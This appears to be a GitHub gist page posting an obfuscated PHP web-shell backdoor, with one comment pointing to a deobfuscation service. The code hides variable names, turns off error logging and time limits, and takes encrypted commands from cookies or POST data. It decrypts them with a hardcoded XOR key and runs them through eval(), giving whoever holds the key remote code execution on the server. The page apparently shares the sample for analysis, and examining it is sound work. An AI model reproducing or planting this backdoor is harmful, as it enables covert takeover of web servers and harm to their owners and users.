Skip to content

Instantly share code, notes, and snippets.

@dgtal
Created November 10, 2016 18:22
Show Gist options
  • Save dgtal/5452d344154307857333269e9c349e05 to your computer and use it in GitHub Desktop.
Save dgtal/5452d344154307857333269e9c349e05 to your computer and use it in GitHub Desktop.
<?php
${"GLOBALS"}["xwyursgk"] = "value";
${"GLOBALS"}["derkstv"] = "out_data";
${"GLOBALS"}["jlyxyjddexo"] = "key";
${"GLOBALS"}["dpdkmcgvv"] = "j";
${"GLOBALS"}["mwbyzybuj"] = "i";
${"GLOBALS"}["sjzfiseitu"] = "data_key";
${"GLOBALS"}["medidmpnos"] = "data";
@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "");
}
$qtbsgvf = "data";
$mtbxmnj = "data_key";
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
${${"GLOBALS"}["medidmpnos"]} = NULL;
${${"GLOBALS"}["sjzfiseitu"]} = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
$tyjmuxkjcc = "auth";
function sh_decrypt_phase($data, $key)
{
${"GLOBALS"}["iinfvngci"] = "out_data";
${"GLOBALS"}["wjspmln"] = "out_data";
${${"GLOBALS"}["wjspmln"]} = "";
${"GLOBALS"}["akxmulfjdpxt"] = "i";
for (${${"GLOBALS"}["akxmulfjdpxt"]} = 0; ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]});) {
$udkucaxadhsu = "j";
for (${$udkucaxadhsu} = 0; ${${"GLOBALS"}["dpdkmcgvv"]} < strlen(${${"GLOBALS"}["jlyxyjddexo"]}) && ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]}); ${${"GLOBALS"}["dpdkmcgvv"]}++, ${${"GLOBALS"}["mwbyzybuj"]}++) {
$xnanwxk = "j";
${"GLOBALS"}["orcfdqjbccnq"] = "i";
${${"GLOBALS"}["derkstv"]} .= chr(ord(${${"GLOBALS"}["medidmpnos"]}[${${"GLOBALS"}["orcfdqjbccnq"]}]) ^ ord(${${"GLOBALS"}["jlyxyjddexo"]}[${$xnanwxk}]));
}
}
return ${${"GLOBALS"}["iinfvngci"]};
}
function sh_decrypt($data, $key)
{
${"GLOBALS"}["xumdoqv"] = "auth";
$xysysumkpu = "data";
global $auth;
return sh_decrypt_phase(sh_decrypt_phase(${$xysysumkpu}, ${${"GLOBALS"}["xumdoqv"]}), ${${"GLOBALS"}["jlyxyjddexo"]});
}
foreach ($_COOKIE as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["xwyursgk"]}) {
${"GLOBALS"}["haqcmugem"] = "data_key";
$uqweheyxxqi = "value";
${${"GLOBALS"}["medidmpnos"]} = ${$uqweheyxxqi};
${${"GLOBALS"}["haqcmugem"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
if (!${${"GLOBALS"}["medidmpnos"]}) {
${"GLOBALS"}["ybftyhoztv"] = "value";
foreach ($_POST as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["ybftyhoztv"]}) {
${${"GLOBALS"}["medidmpnos"]} = ${${"GLOBALS"}["xwyursgk"]};
${${"GLOBALS"}["sjzfiseitu"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
}
${"GLOBALS"}["bebchzf"] = "data";
${${"GLOBALS"}["medidmpnos"]} = @unserialize(sh_decrypt(@base64_decode(${${"GLOBALS"}["bebchzf"]}), ${$mtbxmnj}));
if (isset(${${"GLOBALS"}["medidmpnos"]}["ak"]) && ${$tyjmuxkjcc} == ${$qtbsgvf}["ak"]) {
${"GLOBALS"}["fpqlgoyn"] = "data";
${"GLOBALS"}["bqkrelvm"] = "data";
if (${${"GLOBALS"}["bqkrelvm"]}["a"] == "i") {
${${"GLOBALS"}["mwbyzybuj"]} = Array(
"pv" => @phpversion(),
"sv" => "1.0-1"
);
echo @serialize(${${"GLOBALS"}["mwbyzybuj"]});
} elseif (${${"GLOBALS"}["fpqlgoyn"]}["a"] == "e") {
$sygysdobfhgr = "data";
eval(${$sygysdobfhgr}["d"]);
}
}
@apmuthu
Copy link

apmuthu commented Jan 30, 2017

The first pass from www.unphp.net is here.
The final pass is here:
2017-01-30_073939

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment